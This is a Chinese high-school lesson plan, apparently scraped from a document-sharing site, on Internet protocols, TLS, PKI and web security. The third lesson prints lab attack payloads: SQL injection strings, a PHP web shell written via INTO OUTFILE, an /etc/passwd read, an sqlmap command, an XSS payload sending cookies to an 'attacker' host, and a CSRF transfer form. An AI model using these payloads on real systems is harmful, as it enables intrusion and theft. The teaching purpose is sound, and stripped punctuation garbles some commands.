高中信息技术选修三《因特网信息交流与网络安全》教学设计_第1页
高中信息技术选修三《因特网信息交流与网络安全》教学设计_第2页
高中信息技术选修三《因特网信息交流与网络安全》教学设计_第3页
高中信息技术选修三《因特网信息交流与网络安全》教学设计_第4页
高中信息技术选修三《因特网信息交流与网络安全》教学设计_第5页
已阅读5页,还剩21页未读, 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

高中信息技术选修三《因特网信息交流与网络安全》教学设计一、素材分析与大单元定位教科版高中信息技术选修三《网络技术与应用》模块以“因特网基础与应用”为核心线索,旨在培养学生理解网络架构、掌握网络服务配置、构建网络安全防御体系的核心素养。第1.2节“因特网信息交流与网络安全”承接1.1节“因特网基础”中的IP地址、域名解析、路由转发等底层通信机制,引向1.3节“网络搭建与配置”的工程实践,是连接“原理认知”与“工程落地”、连接“技术内核”与“社会治理”的关键枢纽。本节教材内容可重构为三个核心知识簇:一是应用层协议簇,聚焦HTTP/HTTPS、SMTP/POP3、FTP等协议的报文结构、交互流程及状态管理机制,揭示信息“如何流动”;二是密码学与安全协议簇,覆盖对称加密、非对称加密、哈希函数、数字签名、PKI体系、SSL/TLS握手过程,解析信息“如何保密、完整、可信”;三是网络攻击与防御簇,剖析嗅探、中间人、DDoS、SQL注入、XSS、CSRF等典型攻击原理,对应防火墙策略、IDS/IPS规则、WAF防护、安全编码规范等纵深防御技术,落实“如何守护”。大单元定位超越单节教材边界,将“因特网信息交流”视为载体,将“网络安全”视为贯穿始终的主线,确立“构建可信通信信道”的大任务。引导学生从协议设计者视角审视明文传输隐患,从攻击者视角复现漏洞利用链条,从防御者视角配置安全策略与加固系统,实现从“知其然”到“知其所以然”再到“能实践、会迁移”的认知跃迁。二、学情分析与学习者画像选修三学习群体多为高二年级学生,已完成必修1《数据与计算》、必修2《信息系统与社会》及选修1《算法与程序设计》学习,具备Python编程基础、数据库操作基础及初步的系统思维。但网络协议的抽象分层模型、密码学的数学原理、攻防对抗的动态博弈过程,极易形成“概念漂浮、流程断裂、工具依赖”三大认知障碍。针对性调研显示:85%学生能背诵OSI七层模型,仅30%能解释TCP三次握手为何非两次四次不可;60%知晓HTTPS“更安全”,不足15%能梳理TLS1.2完整握手密钥协商细节;实操层面,熟练使用浏览器开发者工具查看Network面板者不足20%,从未配置过Web服务器SSL证书者占比超90%。教学须以“可视化抓包分析”降低协议理解门槛,以“最小化攻防复现”直观呈现威胁后果,以“工程化配置部署”巩固防御技能,同步渗透“网络空间命运共同体”法治观与伦理观。三、核心素养导向的教学目标1.信息意识:能辨析HTTP与HTTPS在报文层面的差异,识别明文传输导致的隐私泄露风险;能判断数字证书信任链有效性,甄别钓鱼网站与中间人攻击场景;树立“数据全生命周期保护”意识,主动践行最小权限原则。2.计算思维:能抽象建模TCP可靠传输与TLS安全握手的状态机过程;能分解“搭建HTTPS站点”任务为密钥生成、CSR提交、证书部署、强制跳转、HSTS预加载等子任务流程;能应用威胁建模方法识别Web应用资产、攻击面与防御对策。3.数字化学习与创新:熟练运用Wireshark深度解析协议报文,掌握OpenSSL命令行工具链完成证书全生命周期管理,配置Nginx实现HTTPS最佳实践(TLS1.3、OCSPStapling、安全响应头);利用BurpSuite基础功能拦截修改请求复现注入与跨站漏洞,编写Python脚本自动化检测常见安全配置缺陷。4.信息社会责任:严格遵守《网络安全法》《数据安全法》《个人信息保护法》及《计算机信息网络国际联网安全保护管理办法》红线;攻防实训严守授权范围,坚决抵制非法入侵、数据窃取、恶意代码传播行为;在伦理困境讨论中平衡安全与便利、监管与隐私、技术中立与价值导向关系,确立白帽黑客职业操守。四、核心任务与大概念驱动的单元整体设计大任务:“为校园社团活动官网构建端到端安全的HTTPS访问通道,并产出安全加固分析报告”。大概念:信任传递、密钥协商、纵深防御、零信任架构雏形。核心问题串:Q1:为什么HTTP裸奔在互联网上极其危险?协议层面如何量化风险?Q2:对称加密效率高为何不直接用?非对称加密如何解决密钥分发难题?Q3:TLS握手过程中客户端如何验证服务端身份?中间人为何无法伪造合法证书?Q4:除传输加密外,Web应用层仍面临哪些OWASPTop10威胁?如何编码层面消除?Q5:从单一SSL配置到全站HTTPS、HSTS、CSP、零信任,防御体系如何演进?课时安排(4课时,每课时45分钟):第1课时:协议透视与明文隐患——抓包分析HTTP/TCP/TLS报文,还原通信本质。第2课时:密码学基石与信任链构建——推演密钥协商数学原理,实操OpenSSL签发部署证书。第3课时:Web安全攻防实战与代码加固——复现SQLi/XSS/CSRF,落实参数化查询、CSP策略、SameSite属性。第4课时:工程化交付与法治伦理研讨——完成站点上线验收,撰写加固报告,辩论网络空间治理困境。五、教学过程设计(一)第1课时:协议透视与明文隐患——抓包分析HTTP/TCP/TLS报文【情境导入·破冰】投屏展示两张截图:左为某论坛HTTP登录页面Wireshark抓包,Filter栏输入`http.request.method=="POST"`,右键FollowHTTPStream瞬间显示`username=admin&password=123456`明文;右为同站点启用HTTPS后抓包,FollowTLSStream仅显示加密乱码。提问:相同业务逻辑,为何传输层呈现截然不同?若攻击者控制路由节点,前者面临何种后果?学生直观冲击建立“明文等于裸奔”认知锚点。【探究一:HTTP报文解剖与无状态本质】分组任务:使用浏览器开发者工具Network面板与Wireshark双重视角,捕获访问`/get`完整交互。1.请求报文拆解:请求行`GET/getHTTP/1.1`、请求头`Host``UserAgent``Accept``Connection:keepalive`、空行、无请求体。重点解析`Host`字段支撑虚拟主机机制,`Connection`复用TCP连接减少三次握手开销。2.响应报文拆解:状态行`HTTP/1.1200OK`、响应头`ContentType:application/json``ContentLength``Server``SetCookie`、空行、JSON响应体。演示`SetCookie:sessionid=abc123;Path=/;HttpOnly`如何在无状态协议上构建会话状态,`HttpOnly`属性缓解XSS窃取Cookie风险。3.管道化与队头阻塞:模拟并发请求多张图片,观察HTTP/1.1串行发送导致瀑布流等待,引出HTTP/2多路复用、HTTP/3QUIC协议演进脉络。【探究二:TCP三次握手四次挥手与TLS握手交织】Wireshark捕获`https://.baidu`首屏加载流程,Filter`tcp.port==443`。4.TCP建连:SYN(Seq=0)→SYN/ACK(Seq=0,Ack=1)→ACK(Seq=1,Ack=1)。追问:为何非两次握手?防止历史失效连接请求引发服务端资源浪费;为何非四次?第三次ACK可携带数据,效率考量。5.TLS1.2握手(教材重点):ClientHello(支持密码套件、随机数ClientRandom、扩展SNI)→ServerHello(选定套件`TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256`、ServerRandom、证书链、ServerKeyExchange含ECDH参数及签名)→ClientKeyExchange(PreMasterSecret加密传输)→ChangeCipherSpec→Finished(验证握手完整性)。6.密钥推导可视化:MasterSecret=PRF(PreMasterSecret,"mastersecret",ClientRandom+ServerRandom)KeyBlock=PRF(MasterSecret,"keyexpansion",ServerRandom+ClientRandom)拆分生成:ClientWriteMACKey、ServerWriteMACKey、ClientWriteEncryptionKey、ServerWriteEncryptionKey、ClientWriteIV、ServerWriteIV。强调ECDHE提供前向保密性:长期私钥泄露不影响历史会话解密。【探究三:中间人攻击复现与证书验证逻辑】演示环境:KaliLinux运行Bettercap开启ARP欺骗与SSLStripping,靶机访问HTTP站点被劫持降级。学生观察浏览器地址栏无锁图标、证书颁发者异常。引导分析:攻击者为何无法伪造合法证书?CA信任锚、证书链验证路径、吊销检查(CRL/OCSP)、证书透明度日志(CTLog)构成多重防线。【课时小结与迁移作业】完成《HTTP/HTTPS报文对比分析记录表》,含字段名、明文值、加密后表现、安全属性四列。课后使用`openssls_clientconnectexample:443showcertstls1_2`手动验证目标站点证书链、支持协议版本、密码套件,截图上传学习平台。(二)第2课时:密码学基石与信任链构建——推演密钥协商数学原理,实操OpenSSL签发部署证书【核心概念可视化:从数学难题到工程信任】板书核心公式推演,拒绝黑盒讲授:RSA非对称加密核心:密钥生成:选大素数p,q→n=p×q→φ(n)=(p1)(q1)→选e互质φ(n)→计算d≡e⁻¹(modφ(n))公钥(n,e)私钥(n,d)加密:C≡M^e(modn)解密:M≡C^d(modn)签名:S≡H(M)^d(modn)验签:H(M)≡S^e(modn)强调:签名用私钥,验签用公钥;加密用公钥,解密用私钥。数字签名实现不可抵赖、完整性、认证三重属性。ECDHE密钥协商(椭圆曲线DiffieHellman临时密钥):曲线参数:secp256r1(P256)服务端:私钥d_S→公钥Q_S=d_S×G客户端:私钥d_C→公钥Q_C=d_C×G共享密钥:Z=d_C×Q_S=d_S×Q_C=d_C×d_S×G离散对数难题保证攻击者知Q_S,Q_C,G难推导Z。临时密钥用后即焚,实现前向保密。【工程实操:自建微型PKI体系与证书全生命周期】实验环境:Linux虚拟机预装OpenSSL3.0、Nginx1.24、cfssl工具链。任务清单:7.生成根CA密钥与自签名证书:`opensslgenrsaoutrootCA.key4096``opensslreqx509newnodeskeyrootCA.keysha256days3650outrootCA.crtsubj"/CN=SchoolLabRootCA/O=School/OU=ITDept"`8.生成服务端私钥与CSR(含SAN扩展):`opensslreqnewnewkeyrsa:2048nodeskeyoutserver.keyoutserver.csrsubj"/CN=/O=School/OU=Club"addext"subjectAltName=DNS:,DNS:."`9.根CA签发服务端证书(有效期365天,含KeyUsage、ExtendedKeyUsage):`opensslx509reqinserver.csrCArootCA.crtCAkeyrootCA.keyCAcreateserialoutserver.crtdays365sha256extfilev3.ext`10.验证证书链完整性:`opensslverifyCAfilerootCA.crtserver.crt`返回OK。11.Nginx配置HTTPS最佳实践(节选关键段):```server{listen443sslhttp2;server_name;ssl_certificate/etc/nginx/ssl/server.crt;ssl_certificate_key/etc/nginx/ssl/server.key;ssl_protocolsTLSv1.2TLSv1.3;ssl_ciphersECDHEECDSAAES128GCMSHA256:ECDHERSAAES128GCMSHA256:ECDHEECDSAAES256GCMSHA384:ECDHERSAAES256GCMSHA384;ssl_prefer_server_ciphersoff;ssl_session_timeout1d;ssl_session_cacheshared:SSL:10m;ssl_session_ticketsoff;OCSPStaplingssl_staplingon;ssl_stapling_verifyon;resolver14valid=300s;resolver_timeout5s;SecurityHeadersadd_headerStrictTransportSecurity"maxage=31536000;includeSubDomains;preload"always;add_headerXFrameOptionsDENYalways;add_headerXContentTypeOptionsnosniffalways;add_headerContentSecurityPolicy"defaultsrc'self';scriptsrc'self''unsafeinline';stylesrc'self''unsafeinline';imgsrc'self'data:https:;fontsrc'self';connectsrc'self';frameancestors'none';baseuri'self';formaction'self';"always;location/{root/var//club;indexindex.html;}}```12.强制HTTP跳转HTTPS、开启HSTS预加载申请流程讲解。13.使用QualysSSLLabsServerTest扫描评分,解读A+评级各项指标含义。【深度追问:证书吊销与透明度】对比CRL(列表膨胀、更新延迟)、OCSP(实时查询泄露隐私、CA单点故障)、OCSPStapling(服务端预取响应、性能隐私双优)、CTLog(强制公开日志、监控误签发)四种机制优劣。讨论:为何Chrome强制要求公共CA签发证书必须提交CTLog?如何通过`crt.sh`查询域名历史证书发现异常签发?(三)第3课时:Web安全攻防实战与代码加固——复现SQLi/XSS/CSRF,落实参数化查询、CSP策略、SameSite属性【安全左移:从运维配置转向开发规范】引入OWASPTop102021榜单,聚焦A03:2021注入、A07:2021身份认证失效、A01:2021访问控制失效。强调HTTPS仅保护传输层,应用层漏洞需代码层面修复。【攻防实训一:SQL注入——从联合查询到盲注自动化】靶场:DVWA(DamnVulnerableWebApp)Low级别SQLi模块。14.手工验证:输入`1'OR'1'='1`绕过登录,观察SQL拼接`SELECTFROMusersWHEREuser_id='1'OR'1'='1'`永真条件。15.联合注入推导列数:`1'ORDERBY3+`成功,`ORDERBY4`失败→3列。`1'UNIONSELECT1,database(),user()+`爆库用户。16.文件读写尝试:`SELECTLOAD_FILE('/etc/passwd')`、`SELECT'<?phpsystem($_GET[cmd]);?>'INTOOUTFILE'/var//html/shell.php'`(需FILE权限、路径可写)。17.代码层面修复对比:漏洞代码:`cursor.execute("SELECTFROMusersWHEREid='%s'"%user_input)`修复代码:`cursor.execute("SELECTFROMusersWHEREid=%s",(user_input,))`参数化查询,驱动层处理转义与类型绑定18.进阶:SQLMap自动化检测与数据库指纹识别演示,`sqlmapu"http://target/vuln.php?id=1"batchdbs`。【攻防实训二:跨站脚本攻击(XSS)——反射型、存储型、DOM型三维剖析】19.反射型XSS:搜索框输入`<script>alert(document.domain)</script>`,URL参数直接回显未转义。BurpSuite拦截请求修改Payload为`<imgsrc=xonerror=fetch('http://attacker/steal?cookie='+document.cookie)>`模拟Cookie窃取。20.存储型XSS:留言板提交恶意脚本,所有访问页面用户中招。演示键盘记录、钓鱼登录框注入。21.DOM型XSS:前端JS`document.write(location.hash.substring(1))`直接渲染URL片段,无服务端交互,WAF难检测。22.纵深防御矩阵:输出编码:HTML实体编码、JS编码、URL编码、CSS编码(OWASPJavaEncoder/DOMPurify)。CSP策略:`ContentSecurityPolicy:scriptsrc'self''nonce{random}';objectsrc'none';baseuri'self';`禁用内联脚本、eval、外部非白名单源。HttpOnly+Secure+SameSite=Strict/Lax/NoneCookie属性组合拳。TrustedTypesAPI防御DOMXSS(现代浏览器支持)。【攻防实训三:跨站请求伪造(CSRF)与同源策略演进】场景:用户登录银行网站A,访问恶意网站B,B页面隐藏`<formaction="https://bank/transfer"method="POST"><inputname="to"value="attacker"><inputname="amount"value="10000"></form><script>document.forms[0].submit()</script>`。浏览器自动携带A站Cookie发起转账。防御演进:同步令牌模式:服务端生成随机Token存Session,表单隐藏域带回,验证一致性。DoubleSubmitCookie:前端JS读取Cookie值写入Header`XCSRFToken`,后端比对Cookie与Header。SameSiteCookie属性:`Strict`完全禁止跨站携带,`Lax`允许链接/GET表单跨站携带(现代浏览器默认),`None;Secure`显式跨站需求。自定义请求头`XRequestedWith:XMLHttpRequest`结合CORS预检机制。【实战总结:安全编码清单Checklist】分组产出《Web安全编码规范速查卡》,涵盖输入验证、输出编码、认证授权、会话管理、加密存储、错误处理、日志审计、依赖检查八大维度,张贴实验室墙面长期生效。(四)第4课时:工程化交付与法治伦理研讨——完成站点上线验收,撰写加固报告,辩论网络空间治理困境【项目验收:从“能跑通”到“经得起审计”】各组演示成果:23.站点访问演示:浏览器地址栏锁图标、证书详情有效期/SAN/签名算法、Security面板TLS1.3/AES_256_GCM、HSTS生效、CSP无报错。24.抓包验证:Wireshark捕获全程加密,ClientHello含SNI、支持版本、密码套件;ServerHello选定参数、证书链完整;EncryptedHandshakeMessage后无明文业务数据。25.漏洞扫描报告:使用Nessus/OpenVAS扫描,高危漏洞清零,中危项整改说明(如移除Server版本号、禁用TRACE方法)。26.渗透测试复盘:邀请对手组尝试SQLi/XSS/CSRF/暴力破解,记录攻击路径、被WAF拦截日志、应用层拦截日志,填写《攻防对抗复盘记录单》。【加固分析报告规范化写作指导】报告结构:27.系统资产清单(域名、IP、端口、服务版本、框架组件、依赖库SBOM)。28.威胁建模(STRIDE模型:欺骗、篡改、抵赖、信息泄露、拒绝服务、提权)。29.安全控制实施矩阵(网络层/主机层/应用层/数据层/管理层,映射等保三级/二级要求)。30.密码合规性自查(国密算法SM2/SM3/SM4应用情况、密钥管理全生命周期)。31.应急响应预案(检测、遏制、根因分析、恢复、复盘、归档)。32.持续改进计划(漏洞管理闭环、红蓝对抗常态化、供应链安全审计)。【法治伦理研讨:网络空间治理的多维博弈】设置三个辩题,分正反方辩论,教师担任主持人引导法理分析:辩题一:强制实名制与加密通信匿名性,哪个更利于网络空间治理?引用《网络安全法》第二十四条实名登记、《密码法》鼓励商用密码应用、《个人信息保护法》匿名化处理要求。探讨:实名制溯源犯罪vs匿名保护异见者/隐私;端到端加密保护通信自由vs执法取证“变暗”困境;技术方案:可验证凭证、零知识证明、同态加密在监管与隐私平衡中潜力。辩题二:漏洞披露机制中,厂商修复周期与公众知情权如何平衡?对比全公开披露、负责任披露、协调披露(CVD)模式。案例:Log4j2漏洞爆发期厂商响应滞后、研究者压力;微软补丁星期二机制。法律依据:《网络安全法》第二十五条网络产品提供者义务、《网络产品安全漏洞管理规定》报告流程。伦理准则:优先保护用户、给予厂商合理修复窗口、避免武器化利用。辩题三:算法推荐与大数据杀熟,技术中立性是否为商业逐利提供挡箭牌?《互联网信息服务算法推荐管理规定》明确算法向善、不得诱导沉迷、价格歧视。《数据安全法》第二十九条关键数据出境安全评估。讨论:技术非价值中立,设计目标函数即嵌入价值观;工程师责任边界、合规审计介入研发全周期、监管沙箱与创新包容的张力。【课程总结与素养沉淀】回顾大任务完成度,梳理知识图谱:协议栈→密码学原语→PKI信任基础设施→传输层安全→应用层安全编码→法治伦理框架。强调“安全非产品,而是过程”;防御非静态配置,而是持续监测、响应、演进的动态博弈。布置拓展任务:参与开源项目安全贡献(提交CVE修复PR)、攻读CTF竞赛、关注CNVD/CNNVD漏洞预警、学习国密算法改造实践。六、教学评价一体化设计建立“过程性档案袋+表现性任务评价+终结性作品展示”三位一体评价体系。|评价维度|权重|核心指标(三级鲁布里克量表:优秀/合格/待改进)|采集工具与时机|:::::协议分析与可视化能力20%优能独立完成TLS1.2/1.3握手全流程报文逐字段解析,绘制状态机图,定位异常握手原因(如证书过期、密码套件不匹配、SNI缺失);<br>合能在引导下完成HTTP/HTTPS关键字段对比,识别明文敏感信息泄露点;<br>待仅能识别协议名称,无法关联报文细节与安全属性。Wireshark分析日志(第1课时课中)、协议对比记录表(课后)密码学原理与工程落地能力25%优能手工推演RSA/ECDHE关键数学步骤,独立搭建微型CA签发含SAN扩展证书,配置Nginx达成SSLLabsA+评分并解释每项配置安全含义;<br>合能在模板指导下完成证书申请部署,配置基本HTTPS访问,知晓强弱密码套件区别;<br>待依赖图形化工具一键生成,不理解私钥保护、证书链顺序、吊销机制作用。OpenSSL操作录屏(第2课时课中)、Nginx配置文件及扫描报告(课后)Web攻防实战与代码加固能力30%优能手工复现SQLi/XSS/CSRF三类漏洞并编写利用脚本,给出参数化查询/CSP/SameSite等多层修复方案,通过代码审计发现同类隐患;<br>合能在靶场环境完成漏洞触发,理解修复代码逻辑,配置基础防御头;<br>待仅能运行自动化扫描工具,无法解释漏洞原理,修复代码存在逻辑缺陷。BurpSuite操作记录、修复代码对比提交(第3课时课中/后)、安全编码清单系统交付与合规报告撰写能力15%优报告结构规范,资产清单完整,威胁建模覆盖STRIDE六维,控制矩阵映射等保测评要求,应急预案可操作性强,引用法条精准;<br>合报告要素齐全,威胁识准确,配置合规性自查基本到位,法条引用基本正确;<br>待报告流水账,缺乏威胁建模,合规自查流于形式,法条引用错误或缺失。终结性《安全加固分析报告》(第4课时提交)法治伦理素养与团队协作10%优辩论中准确引用法律条文与伦理框架,能辩证分析技术双刃剑效应,主动承担组内协调沟通角色,输出高质量复盘反思;<br>合能表达基本观点,引用核心法条,配合完成分工任务,反思有一定深度;<br>待观点模糊,缺乏法理支撑,协作中推诿责任,反思流于表面。辩论观察记录表(第4课时课中)、小组协作日志、个人反思日志(全程)1.过程性档案袋:每生建立电子档案,存储抓包文件、配置脚本、代码提交记录、扫描报告、反思日志,支撑成长型评价。2.同伴互评与专家评审:第4课时邀请校企合作网安工程师担任评审专家,依据等保测评规范打分;组间互评攻防复盘记录单,培养审计视角。3.成绩折算:平时表现(档案袋完整度、课堂提问质量、协作贡献)40%+终结性作品(报告+

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论